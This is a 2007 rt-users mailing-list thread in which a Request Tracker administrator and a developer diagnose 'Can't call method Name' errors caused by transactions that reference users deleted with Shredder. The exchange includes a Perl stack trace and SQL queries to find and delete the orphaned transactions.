> >> > >> '/Ticket/Update.html', 'Ticket', 'RT::Ticket=HASH(0xc54ce28)',
> >> > >> 'Transaction',
> >> > >> 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef,
> >> 'Collapsed',
> >> > >> undef,
> >> > >> 'RowNum', 23, 'ShowTitleBarCommands', 1, 'Attachments',
> >> > >> 'ARRAY(0xc59f11c)',
> >> > >> 'AttachmentContent', 'HASH(0xc6a31d4)', 'LastTransaction', 0)
> >> called at
> >> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
> >> > >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> > >> line 1245
> >> > >> HTML::Mason::Request::comp(undef, undef, 'Attachments',
> >> > >> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
> >> > >> 'RT::Ticket=HASH(0xc54ce28)',
> >> > >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)',
> >> 'ShowHeaders',
> >> > >> undef,
> >> > >> 'Collapsed', undef, 'Tickets', undef, 'AttachPath',
> >> '/Ticket/Attachment',
> >> > >> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
> >> > >> 'RT::Ticket=HASH(0xc54ce28)',
> >> > >> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders',
> >> undef,
> >> > >> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
> >> > >> 'Attachments',
> >> > >> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
> >> > >> 'LastTransaction',
> >> > >> 0) called at
> >> > >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory line 102
> >> > >> HTML::Mason::Commands::__ANON__('Ticket',
> >> 'RT::Ticket=HASH(0xc54ce28)',
> >> > >> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
> >> > >> 'Attachments',
> >> > >> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
> >> > >> 'RT::Attachments=HASH(0xc98d840)') called at
> >> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
> >> > >>
> >> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf63114)',
> >>
> >> > >>
> >> > >> 'Ticket', 'RT::Ticket=HASH(0xc54ce28)', 'Tickets', undef,
> >> 'Collapsed',
> >> > >> undef,
> >> > >> 'ShowHeaders', undef, 'Attachments',
> >> 'RT::Attachments=HASH(0xc99b5f0)',
> >> > >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)') called at
> >> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
> >> > >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> > >> line 1245
> >> > >> HTML::Mason::Request::comp(undef, undef, 'Ticket',
> >> > >> 'RT::Ticket=HASH(0xc54ce28)',
> >> > >> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
> >> > >> 'Attachments',
> >> > >> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
> >> > >> 'RT::Attachments=HASH(0xc98d840)') called at
> >> > >> /usr/local/rt-3.6.1/share/html/Ticket/Display.html line 63
> >> > >> HTML::Mason::Commands::__ANON__('id', 55767, 'id', 55767) called at
> >> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
> >> > >>
> >> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbbdd85c)',
> >>
> >> > >>
> >> > >> 'id', 55767, 'id', 55767) called at
> >> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
> >> > >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> > >> line 1245
> >> > >> HTML::Mason::Request::comp(undef, undef, 'id', 55767, 'id', 55767)
> >> > >> called at
> >> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 914
> >> > >>
> >> HTML::Mason::Request::call_next('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)',
> >>
> >> > >>
> >> > >> 'id', 55767) called at /usr/local/rt-3.6.1/share/html/autohandler
> >> line
> >> > >> 279
> >> > >> HTML::Mason::Commands::__ANON__('id', 55767) called at
> >> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
> >> > >>
> >> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbb4ad10)',
> >>
> >> > >>
> >> > >> 'id', 55767) called at
> >> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> > >> line 1246
> >> > >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> > >> line 1245
> >> > >> HTML::Mason::Request::comp(undef, undef, undef, 'id', 55767)
> >> called at
> >> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 459
> >> > >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> > >> line 459
> >> > >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> > >> line 411
> >> > >>
> >> HTML::Mason::Request::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
> >>
> >> > >>
> >> > >> called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
> >> > >> line 168
> >> > >>
> >> HTML::Mason::Request::ApacheHandler::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
> >>
> >> > >>
> >> > >> called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
> >> > >> line 826
> >> > >>
> >> HTML::Mason::ApacheHandler::handle_request('HTML::Mason::ApacheHandler=HASH(0xb0c1e5c)',
> >>
> >> > >>
> >> > >> 'Apache2::RequestRec=SCALAR(0xc98d78c)') called at
> >> > >> /usr/local/rt-3.6.1/bin/webmux.pl line 123
> >> > >> eval {...} at /usr/local/rt-3.6.1/bin/webmux.pl line 123
> >> > >> RT::Mason::handler('Apache2::RequestRec=SCALAR(0xc98d78c)')
> >> called at
> >> > >> -e line 0
> >> > >> eval {...} at -e line 0
> >> > >>
> >> > >> If we don't protect the freedom of speech, how will we know who the
> >> > >> assholes are?
> >> > >> http://theillien.blogspot.com
> >> > >>
> >> > >>
> >> > >> Mathew Snyder wrote:
> >> > >> > I think I've asked about this before and I'm fairly certain I
> >> > >> already know the
> >> > >> > answer.  However, I'm not certain it should be happening.
> >> > >> >
> >> > >> > We keep getting the error "Can't call method "Name" on an
> >> undefined
> >> > >> value..."
> >> > >> > If I recall correctly this is a result of eliminating via
> >> Shredder a
> >> > >> user which
> >> > >> > was at one point attatched to a ticket.  The only problem with
> >> this
> >> > >> is that the
> >> > >> > only users I remove are those that are created when we receive
> >> spam.
> >> > >> >
> >> > >> > So is this the only explanation?  More and more of these tickets
> >> > >> keep appearing
> >> > >> > but I can't figure out how all of these users are disappearing.
> >> > >> >
> >> > >> > Thanks
> >> > >> > Mathew
> >> > >> > _______________________________________________
> >> > >> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> >> > >> >
> >> > >> > Community help: http://wiki.bestpractical.com
> >> > >> > Commercial support: sales at bestpractical.com
> >> > >> >
> >> > >> >
> >> > >> > Discover RT's hidden secrets with RT Essentials from O'Reilly
> >> Media.
> >> > >> > Buy a copy at http://rtbook.bestpractical.com
> >> > >> >
> >> > >> _______________________________________________
> >> > >> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> >> > >>
> >> > >> Community help: http://wiki.bestpractical.com
> >> > >> Commercial support: sales at bestpractical.com
> >> > >>
> >> > >>
> >> > >> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> >> > >> Buy a copy at http://rtbook.bestpractical.com
> >> > >>
> >> > >
> >> > >
> >> >
> >>
> >>
> >> --
> >> Best regards, Ruslan.
> >>
> >
> >
>
> mysql> SELECT p.id, p.PrincipalType, txn.id txn_id, txn.Field, txn.NewValue,
>     -> txn.ReferenceType, txn.NewReference, t.id tid FROM Tickets t JOIN
>     -> Transactions txn ON txn.Type = 'AddWatcher' AND txn.ObjectType =
>     -> 'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN Principals p ON p.id =
>     -> txn.NewValue WHERE p.id IS NULL AND t.id = 55767;
> +------+---------------+--------+-------+----------+---------------+--------------+-------+
> | id   | PrincipalType | txn_id | Field | NewValue | ReferenceType | NewReference | tid   |
> +------+---------------+--------+-------+----------+---------------+--------------+-------+
> | NULL | NULL          | 377862 | Cc    | 3368     | NULL          |         NULL | 55767 |
> +------+---------------+--------+-------+----------+---------------+--------------+-------+
> 1 row in set (0.00 sec)
> mysql> SELECT p.id, p.PrincipalType, txn.id txn_id, txn.Field, txn.NewValue,
>     -> txn.ReferenceType, txn.NewReference, txn.ObjectId tid FROM
>     -> Transactions txn LEFT JOIN Principals p ON p.id = txn.NewValue WHERE
>     -> txn.Type = 'AddWatcher' AND txn.ObjectType = 'RT::Ticket' AND p.id IS
>     -> NULL;
> +------+---------------+--------+-----------+----------+---------------+--------------+-------+
> | id   | PrincipalType | txn_id | Field     | NewValue | ReferenceType | NewReference | tid   |
> +------+---------------+--------+-----------+----------+---------------+--------------+-------+
> | NULL | NULL          |    195 | Cc        | 270      | NULL          |         NULL | 15015 |
> | NULL | NULL          |   2596 | Requestor | 2112     | NULL          |         NULL | 15305 |
> | NULL | NULL          |   2273 | Requestor | 1872     | NULL          |         NULL | 15387 |
> | NULL | NULL          |   2274 | Requestor | 1874     | NULL          |         NULL | 15387 |
> | NULL | NULL          |   4231 | Cc        | 60       | NULL          |         NULL | 15671 |
> | NULL | NULL          |   4666 | Cc        | 60       | NULL          |         NULL | 15728 |
> | NULL | NULL          |   4810 | AdminCc   | 2112     | NULL          |         NULL | 15745 |
> | NULL | NULL          |   6023 | Cc        | 60       | NULL          |         NULL | 15913 |
> | NULL | NULL          |   6174 | Requestor | 180      | NULL          |         NULL | 15936 |
> | NULL | NULL          |   6369 | Cc        | 2670     | NULL          |         NULL | 15958 |
> | NULL | NULL          |   6586 | Requestor | 4756     | NULL          |         NULL | 15994 |
> | NULL | NULL          |   6589 | Requestor | 2670     | NULL          |         NULL | 15994 |
> | NULL | NULL          |   6590 | Requestor | 4758     | NULL          |         NULL | 15994 |
> | NULL | NULL          |   8229 | Requestor | 3980     | NULL          |         NULL | 16195 |
> | NULL | NULL          |   8470 | Cc        | 5870     | NULL          |         NULL | 16235 |
> | NULL | NULL          |  10810 | Requestor | 7490     | NULL          |         NULL | 16572 |
> | NULL | NULL          |  12068 | Cc        | 7706     | NULL          |         NULL | 16770 |
> | NULL | NULL          |  13686 | Cc        | 60       | NULL          |         NULL | 17039 |
> | NULL | NULL          |  15175 | AdminCc   | 3368     | NULL          |         NULL | 17299 |
> | NULL | NULL          |  19283 | Requestor | 2508     | NULL          |         NULL | 17973 |
> | NULL | NULL          |  27026 | Cc        | 3368     | NULL          |         NULL | 19448 |
> | NULL | NULL          |  27032 | Cc        | 3368     | NULL          |         NULL | 19463 |
> | NULL | NULL          |  27022 | Cc        | 3368     | NULL          |         NULL | 19470 |
> | NULL | NULL          |  28635 | Cc        | 80       | NULL          |         NULL | 19698 |
> | NULL | NULL          |  30104 | Cc        | 3368     | NULL          |         NULL | 19875 |
> | NULL | NULL          |  34258 | Cc        | 3368     | NULL          |         NULL | 20689 |
> | NULL | NULL          |  35064 | Requestor | 29500    | NULL          |         NULL | 20765 |
> | NULL | NULL          |  37891 | Cc        | 3368     | NULL          |         NULL | 21147 |
> | NULL | NULL          |  37451 | Cc        | 80       | NULL          |         NULL | 21325 |
> | NULL | NULL          |  37455 | Cc        | 3368     | NULL          |         NULL | 21325 |
> | NULL | NULL          |  41186 | Cc        | 3980     | NULL          |         NULL | 22037 |
> | NULL | NULL          |  46850 | Cc        | 43751    | NULL          |         NULL | 23378 |
> | NULL | NULL          |  50198 | Cc        | 46908    | NULL          |         NULL | 23926 |
> | NULL | NULL          |  50744 | Cc        | 3368     | NULL          |         NULL | 24139 |
> | NULL | NULL          |  50741 | Cc        | 3368     | NULL          |         NULL | 24140 |
> | NULL | NULL          |  55822 | Cc        | 3368     | NULL          |         NULL | 24528 |
> | NULL | NULL          |  56273 | Cc        | 3368     | NULL          |         NULL | 24569 |
> | NULL | NULL          |  54174 | Requestor | 8080     | NULL          |         NULL | 24918 |
> | NULL | NULL          |  57190 | Cc        | 3368     | NULL          |         NULL | 25636 |
> | NULL | NULL          |  62220 | Requestor | 29500    | NULL          |         NULL | 25955 |
> | NULL | NULL          |  60048 | Cc        | 3368     | NULL          |         NULL | 26286 |
> | NULL | NULL          |  60638 | Cc        | 3368     | NULL          |         NULL | 26421 |
> | NULL | NULL          |  61226 | Cc        | 3368     | NULL          |         NULL | 26560 |
> | NULL | NULL          |  63750 | AdminCc   | 3368     | NULL          |         NULL | 27124 |
> | NULL | NULL          |  67219 | Cc        | 3368     | NULL          |         NULL | 27552 |
> | NULL | NULL          |  67687 | Cc        | 3368     | NULL          |         NULL | 27913 |
> | NULL | NULL          |  69689 | Cc        | 56816    | NULL          |         NULL | 28316 |
> | NULL | NULL          |  69767 | Cc        | 69640    | NULL          |         NULL | 28316 |
> | NULL | NULL          |  91506 | Cc        | 87643    | NULL          |         NULL | 31135 |
> | NULL | NULL          |  93739 | Cc        | 70530    | NULL          |         NULL | 31709 |
> | NULL | NULL          |  94865 | Cc        | 46726    | NULL          |         NULL | 31954 |
> | NULL | NULL          |  96762 | Cc        | 94386    | NULL          |         NULL | 32376 |
> | NULL | NULL          |  96885 | Cc        | 94462    | NULL          |         NULL | 32405 |
> | NULL | NULL          |  97572 | Requestor | 92077    | NULL          |         NULL | 32548 |
> | NULL | NULL          |  98231 | Requestor | 70530    | NULL          |         NULL | 32602 |
> | NULL | NULL          |  98295 | Cc        | 28368    | NULL          |         NULL | 32662 |
> | NULL | NULL          |  98296 | Cc        | 13287    | NULL          |         NULL | 32662 |
> | NULL | NULL          |  98297 | Cc        | 95798    | NULL          |         NULL | 32662 |
> | NULL | NULL          |  99376 | Requestor | 28368    | NULL          |         NULL | 32662 |
> | NULL | NULL          |  99378 | Cc        | 95792    | NULL          |         NULL | 32662 |
> | NULL | NULL          |  99380 | Requestor | 13287    | NULL          |         NULL | 32662 |
> | NULL | NULL          |  99361 | Cc        | 3448     | NULL          |         NULL | 32843 |
> | NULL | NULL          | 103316 | Requestor | 65511    | NULL          |         NULL | 33745 |
> | NULL | NULL          | 105409 | Cc        | 3368     | NULL          |         NULL | 34100 |
> | NULL | NULL          | 105671 | Requestor | 2638     | NULL          |         NULL | 34139 |
> | NULL | NULL          | 106944 | Cc        | 3368     | NULL          |         NULL | 34251 |
> | NULL | NULL          | 107906 | Cc        | 3368     | NULL          |         NULL | 34544 |
> | NULL | NULL          | 108606 | Cc        | 3368     | NULL          |         NULL | 34645 |
> | NULL | NULL          | 120082 | Cc        | 101555   | NULL          |         NULL | 34676 |
> | NULL | NULL          | 115778 | Cc        | 3368     | NULL          |         NULL | 34956 |
> | NULL | NULL          | 111031 | Requestor | 103208   | NULL          |         NULL | 35077 |
> | NULL | NULL          | 111441 | Cc        | 108236   | NULL          |         NULL | 35157 |
> | NULL | NULL          | 113017 | Requestor | 13287    | NULL          |         NULL | 35427 |
> | NULL | NULL          | 118641 | Cc        | 114272   | NULL          |         NULL | 35642 |
> | NULL | NULL          | 115584 | Requestor | 20559    | NULL          |         NULL | 35899 |
> | NULL | NULL          | 122977 | Requestor | 56991    | NULL          |         NULL | 37107 |
> | NULL | NULL          | 122590 | Cc        | 3368     | NULL          |         NULL | 37109 |
> | NULL | NULL          | 123679 | Cc        | 118250   | NULL          |         NULL | 37276 |
> | NULL | NULL          | 123685 | Cc        | 3980     | NULL          |         NULL | 37276 |
> | NULL | NULL          | 123688 | Requestor | 3980     | NULL          |         NULL | 37276 |
> | NULL | NULL          | 124658 | Cc        | 115066   | NULL          |         NULL | 37442 |
> | NULL | NULL          | 126140 | Cc        | 114272   | NULL          |         NULL | 37672 |
> | NULL | NULL          | 128117 | Requestor | 121662   | NULL          |         NULL | 38015 |
> | NULL | NULL          | 129436 | Cc        | 122762   | NULL          |         NULL | 38247 |
> | NULL | NULL          | 131431 | Cc        | 2638     | NULL          |         NULL | 38591 |
> | NULL | NULL          | 132796 | Requestor | 115066   | NULL          |         NULL | 38825 |
> | NULL | NULL          | 138759 | Cc        | 93112    | NULL          |         NULL | 39852 |
> | NULL | NULL          | 138760 | Cc        | 12404    | NULL          |         NULL | 39852 |
> | NULL | NULL          | 139254 | Requestor | 131402   | NULL          |         NULL | 40025 |
> | NULL | NULL          | 170704 | Cc        | 145261   | NULL          |         NULL | 42026 |
> | NULL | NULL          | 165328 | Cc        | 143705   | NULL          |         NULL | 42380 |
> | NULL | NULL          | 178572 | Requestor | 145221   | NULL          |         NULL | 43382 |
> | NULL | NULL          | 263341 | Cc        | 100603   | NULL          |         NULL | 44028 |
> | NULL | NULL          | 189265 | Cc        | 151286   | NULL          |         NULL | 44042 |
> | NULL | NULL          | 189268 | Cc        | 151288   | NULL          |         NULL | 44042 |
> | NULL | NULL          | 189271 | Cc        | 151290   | NULL          |         NULL | 44042 |
> | NULL | NULL          | 191666 | Cc        | 3368     | NULL          |         NULL | 44190 |
> | NULL | NULL          | 205214 | Cc        | 3368     | NULL          |         NULL | 45009 |
> | NULL | NULL          | 285102 | Cc        | 3368     | NULL          |         NULL | 45042 |
> | NULL | NULL          | 217596 | Requestor | 159539   | NULL          |         NULL | 45721 |
> | NULL | NULL          | 224299 | Cc        | 162093   | NULL          |         NULL | 46213 |
> | NULL | NULL          | 224300 | Requestor | 29760    | NULL          |         NULL | 46213 |
> | NULL | NULL          | 233472 | Cc        | 165261   | NULL          |         NULL | 46833 |
> | NULL | NULL          | 260741 | Cc        | 3368     | NULL          |         NULL | 48741 |
> | NULL | NULL          | 284029 | Requestor | 3980     | NULL          |         NULL | 49971 |
> | NULL | NULL          | 288692 | Requestor | 185022   | NULL          |         NULL | 50658 |
> | NULL | NULL          | 298445 | Cc        | 10268    | NULL          |         NULL | 51160 |
> | NULL | NULL          | 307010 | Cc        | 3368     | NULL          |         NULL | 51802 |
> | NULL | NULL          | 314703 | Cc        | 3368     | NULL          |         NULL | 52094 |
> | NULL | NULL          | 320961 | Cc        | 196017   | NULL          |         NULL | 52511 |
> | NULL | NULL          | 336707 | Cc        | 3368     | NULL          |         NULL | 53444 |
> | NULL | NULL          | 340022 | Cc        | 3368     | NULL          |         NULL | 53686 |
> | NULL | NULL          | 363180 | Cc        | 3368     | NULL          |         NULL | 53858 |
> | NULL | NULL          | 343420 | Cc        | 3368     | NULL          |         NULL | 53870 |
> | NULL | NULL          | 345199 | Cc        | 3368     | NULL          |         NULL | 54012 |
> | NULL | NULL          | 377862 | Cc        | 3368     | NULL          |         NULL | 55767 |
> +------+---------------+--------+-----------+----------+---------------+--------------+-------+
> 116 rows in set (2.03 sec)
>


-- 
Best regards, Ruslan.


From theillien at yahoo.com  Fri Feb  9 01:37:51 2007
From: theillien at yahoo.com (Mathew Snyder)
Date: Fri, 09 Feb 2007 01:37:51 -0500
Subject: [rt-users] Ticket Errors
In-Reply-To: <589c94400702082235l27f58e19t8d12f62ab4d5f6ab@mail.gmail.com>
References: <45C9801B.7060704@yahoo.com> <45C98700.8040100@yahoo.com>	
	<589c94400702080549p183d936k81a7cc481d381ac5@mail.gmail.com>	
	<45CBF647.1040206@yahoo.com>	
	<589c94400702082152l6897ea63ldcf2ebef6e01af7c@mail.gmail.com>	
	<589c94400702082200n62534f34y2c1df6895dc276f9@mail.gmail.com>	
	<45CC109D.5060507@yahoo.com>
	<589c94400702082235l27f58e19t8d12f62ab4d5f6ab@mail.gmail.com>
Message-ID: <45CC16BF.8@yahoo.com>

sweet.  Thanks Ruslan.  I'll have to print all of this out for future use
because I KNOW it will come up again... se la vie

Thanks again.

Ruslan Zakirov wrote:
> Ok, I've got all info I needed. Thanks.
> 
> Now you can delete these transactions and get rid of those errors.
> 
> If you're using mysql 4.1 and greater then you can use the following
> queries:
> DELETE txn FROM Transactions txn LEFT JOIN Principals p ON (
> txn.NewValue = p.id ) WHERE txn.Type = 'AddWatcher' AND p.id IS NULL;
> DELETE txn FROM Transactions txn LEFT JOIN Principals p ON (
> txn.OldValue = p.id ) WHERE txn.Type = 'DelWatcher' AND p.id IS NULL;
> 
> 
> On 2/9/07, Mathew Snyder <theillien at yahoo.com> wrote:
>> The results of each query are attached as .txt files.
>>
>>
>> Ruslan Zakirov wrote:
>> > I'm terribly sorry bu here is more correct queries:
>> >
>> > SELECT p.id, p.PrincipalType, txn.id txn_id, txn.Field, txn.NewValue,
>> > txn.ReferenceType, txn.NewReference, t.id tid FROM Tickets t JOIN
>> > Transactions txn ON txn.Type = 'AddWatcher' AND txn.ObjectType =
>> > 'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN Principals p ON p.id =
>> > txn.NewValue WHERE p.id IS NULL AND t.id = XXX;
>> >
>> > and
>> >
>> > SELECT p.id, p.PrincipalType, txn.id txn_id, txn.Field, txn.NewValue,
>> > txn.ReferenceType, txn.NewReference, txn.ObjectId tid FROM
>> > Transactions txn LEFT JOIN Principals p ON p.id = txn.NewValue WHERE
>> > txn.Type = 'AddWatcher' AND txn.ObjectType = 'RT::Ticket' AND p.id IS
>> > NULL;
>> >
>> >
>> > On 2/9/07, Ruslan Zakirov <ruslan.zakirov at gmail.com> wrote:
>> >> On 2/9/07, Mathew Snyder <theillien at yahoo.com> wrote:
>> >> > It would appear I removed someone that was added as a CC:
>> >> >
>> >> > +--------+-----------+---------------+--------------+-------+
>> >> > | Name   | Field     | ReferenceType | NewReference | tid   |
>> >> > +--------+-----------+---------------+--------------+-------+
>> >> > | NULL   | Cc        | NULL          |         NULL | 55767 |
>> >> > | rbates | Requestor | NULL          |         NULL | 55767 |
>> >> > +--------+-----------+---------------+--------------+-------+
>> >> >
>> >> > Is it possible to correct this?
>> >> Yes, sure.
>> >> This means that you've deleted a user who was added as Cc watcher to
>> >> ticket 55767. As well this means a bug exists in shredder and I've
>> >> fixed it and released shredder 0.05.
>> >>
>> >> The following query is more informative:
>> >> SELECT u.Name, txn.id txn_id, txn.Field, txn.NewValue,
>> txn.ReferenceType,
>> >> txn.NewReference, t.id tid FROM Tickets t JOIN Transactions txn ON
>> >> txn.Type = 'AddWatcher' AND txn.ObjectType = 'RT::Ticket' AND
>> >> txn.ObjectId = t.id LEFT JOIN Users u ON u.id = txn.NewValue WHERE
>> >> u.id IS NULL AND t.id = XXXXX;
>> >>
>> >> This query selects only transactions with problems. txn_id column in
>> >> the result will show you problematic Transactions and NewValue column
>> >> will show you ids of the users that don't exist anymore.
>> >>
>> >> You can safely delete this transactions using the following query:
>> >> DELETE FROM Transactions WHERE id IN (xxx, xxx, xxx,...);
>> >>
>> >> Also, you can select all such transactions from your DB:
>> >> SELECT u.Name, txn.id txn_id, txn.Field, txn.NewValue,
>> txn.ReferenceType,
>> >> txn.NewReference, t.id tid FROM Tickets t JOIN Transactions txn ON
>> >> txn.Type = 'AddWatcher' AND txn.ObjectType = 'RT::Ticket' AND
>> >> txn.ObjectId = t.id LEFT JOIN Users u ON u.id = txn.NewValue WHERE
>> >> u.id IS NULL;
>> >>
>> >> If amount of the transactions is too big then I could help you write
>> >> down a delete query that will delete all this txns.
>> >>
>> >>
>> >>
>> >> >
>> >> > Ruslan Zakirov wrote:
>> >> > > Please, run the following SQL query:
>> >> > > SELECT u.Name, txn.Field, txn.ReferenceType, txn.NewReference,
>> t.id
>> >> > > tid FROM Tickets t JOIN Transactions txn ON txn.Type =
>> 'AddWatcher'
>> >> > > AND txn.ObjectType = 'RT::Ticket' AND txn.ObjectId = t.id LEFT
>> JOIN
>> >> > > Users u ON u.id = txn.NewValue WHERE t.id = XXXXX;
>> >> > >
>> >> > > Where XXXX id of the ticket. Then send me results.
>> >> > >
>> >> > >
>> >> > > On 2/7/07, Mathew Snyder <theillien at yahoo.com> wrote:
>> >> > >> I'd like to add to this.  I've looked at the database and
>> found that
>> >> > >> there are
>> >> > >> 63 transactions attached to this ticket.  There are also no
>> >> > >> transactions for
>> >> > >> which there isn't a user.  I've looked up the names on each user
>> >> id in
>> >> > >> the
>> >> > >> transactions table and found that they correspond to someone that
>> >> > >> would likely
>> >> > >> have had a part in the ticket.
>> >> > >>
>> >> > >> There are as many user id entries as there are transactions. 
>> What I
>> >> > >> mean is,
>> >> > >> there are multiple entries for some ids but all transactions
>> have a
>> >> > >> user id
>> >> > >> attached to it.  This tells me that the transactions aren't
>> >> corrupted
>> >> > >> by a
>> >> > >> missing user that possibly got Shredded out of the database.
>> >> > >>
>> >> > >> As I've said before, this isn't the first time we've seen this so
>> >> I'm
>> >> > >> beginning
>> >> > >> to think this is a bug of some sort.
>> >> > >>
>> >> > >> The full error follows.
>> >> > >>
>> >> > >> error:          Can't call method "Name" on an undefined value at
>> >> > >> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
>> >> > >> context:
>> >> > >> ...
>> >> > >> 686:    AddWatcher => sub {
>> >> > >> 687:    my $self = shift;
>> >> > >> 688:    my $principal = RT::Principal->new($self->CurrentUser);
>> >> > >> 689:    $principal->Load($self->NewValue);
>> >> > >> 690:    return $self->loc( "[_1] [_2] added", $self->Field,
>> >> > >> $principal->Object->Name);
>> >> > >> 691:    },
>> >> > >> 692:    DelWatcher => sub {
>> >> > >> 693:    my $self = shift;
>> >> > >> 694:    my $principal = RT::Principal->new($self->CurrentUser);
>> >> > >> ...
>> >> > >> code stack:
>> >> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:690
>> >> > >> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:602
>> >> > >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction:54
>> >> > >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory:102
>> >> > >> /usr/local/rt-3.6.1/share/html/Ticket/Display.html:63
>> >> > >> /usr/local/rt-3.6.1/share/html/autohandler:279
>> >> > >>
>> >> > >>
>> >> > >>
>> >> > >> raw error
>> >> > >> Can't call method "Name" on an undefined value at
>> >> > >> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
>> >> > >>
>> >> > >>
>> >> > >> Trace begun at
>> >> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Exceptions.pm line
>> 129
>> >> > >> HTML::Mason::Exceptions::rethrow_exception('Can\'t call method
>> >> "Name"
>> >> > >> on an
>> >> > >> undefined value at
>> >> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm
>> >> > >> line
>> >> > >> 690.^J') called at
>> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm
>> >> > >> line 690
>> >> > >> RT::Transaction::__ANON__('RT::Transaction=HASH(0xc706568)')
>> >> called at
>> >> > >> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm line 602
>> >> > >>
>> RT::Transaction::BriefDescription('RT::Transaction=HASH(0xc706568)')
>> >> > >> called at
>> >> > >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction
>> >> line 54
>> >> > >> HTML::Mason::Commands::__ANON__('Attachments',
>> >> > >> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> >> > >> 'RT::Ticket=HASH(0xc54ce28)',
>> >> > >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)',
>> >> 'ShowHeaders',
>> >> > >> undef,
>> >> > >> 'Collapsed', undef, 'Tickets', undef, 'AttachPath',
>> >> '/Ticket/Attachment',
>> >> > >> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
>> >> > >> 'RT::Ticket=HASH(0xc54ce28)',
>> >> > >> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders',
>> >> undef,
>> >> > >> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
>> >> > >> 'Attachments',
>> >> > >> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
>> >> > >> 'LastTransaction',
>> >> > >> 0) called at
>> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm
>> >> > >> line 135
>> >> > >>
>> >>
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf6c9a0)',
>>
>> >>
>> >> > >>
>> >> > >> 'Attachments', 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> >> > >> 'RT::Ticket=HASH(0xc54ce28)', 'AttachmentContent',
>> >> > >> 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders', undef,
>> >> 'Collapsed',
>> >> > >> undef,
>> >> > >> 'Tickets', undef, 'AttachPath', '/Ticket/Attachment',
>> 'UpdatePath',
>> >> > >> '/Ticket/Update.html', 'Ticket', 'RT::Ticket=HASH(0xc54ce28)',
>> >> > >> 'Transaction',
>> >> > >> 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef,
>> >> 'Collapsed',
>> >> > >> undef,
>> >> > >> 'RowNum', 23, 'ShowTitleBarCommands', 1, 'Attachments',
>> >> > >> 'ARRAY(0xc59f11c)',
>> >> > >> 'AttachmentContent', 'HASH(0xc6a31d4)', 'LastTransaction', 0)
>> >> called at
>> >> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> >> > >> eval {...} at
